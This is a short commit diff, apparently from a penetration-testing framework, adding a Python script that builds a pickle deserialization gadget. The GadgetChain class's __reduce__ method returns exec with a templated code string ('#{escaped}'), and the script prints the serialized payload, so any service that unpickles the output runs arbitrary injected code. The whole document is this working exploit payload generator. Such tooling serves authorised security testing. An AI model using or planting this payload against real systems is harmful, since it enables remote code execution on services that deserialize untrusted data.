Add source code for Python deserialization gadgets

external/source/python_deserialization/py3_exec.py

@@ -0,0 +1,9 @@
+import pickle
+
+class GadgetChain:
+    def __reduce__(self):
+        return __builtins__.exec, ('#{escaped}',)
+
+if __name__ == '__main__':
+    pickled = pickle.dumps(GadgetChain(), protocol=0)
+    print(repr(pickled.decode()))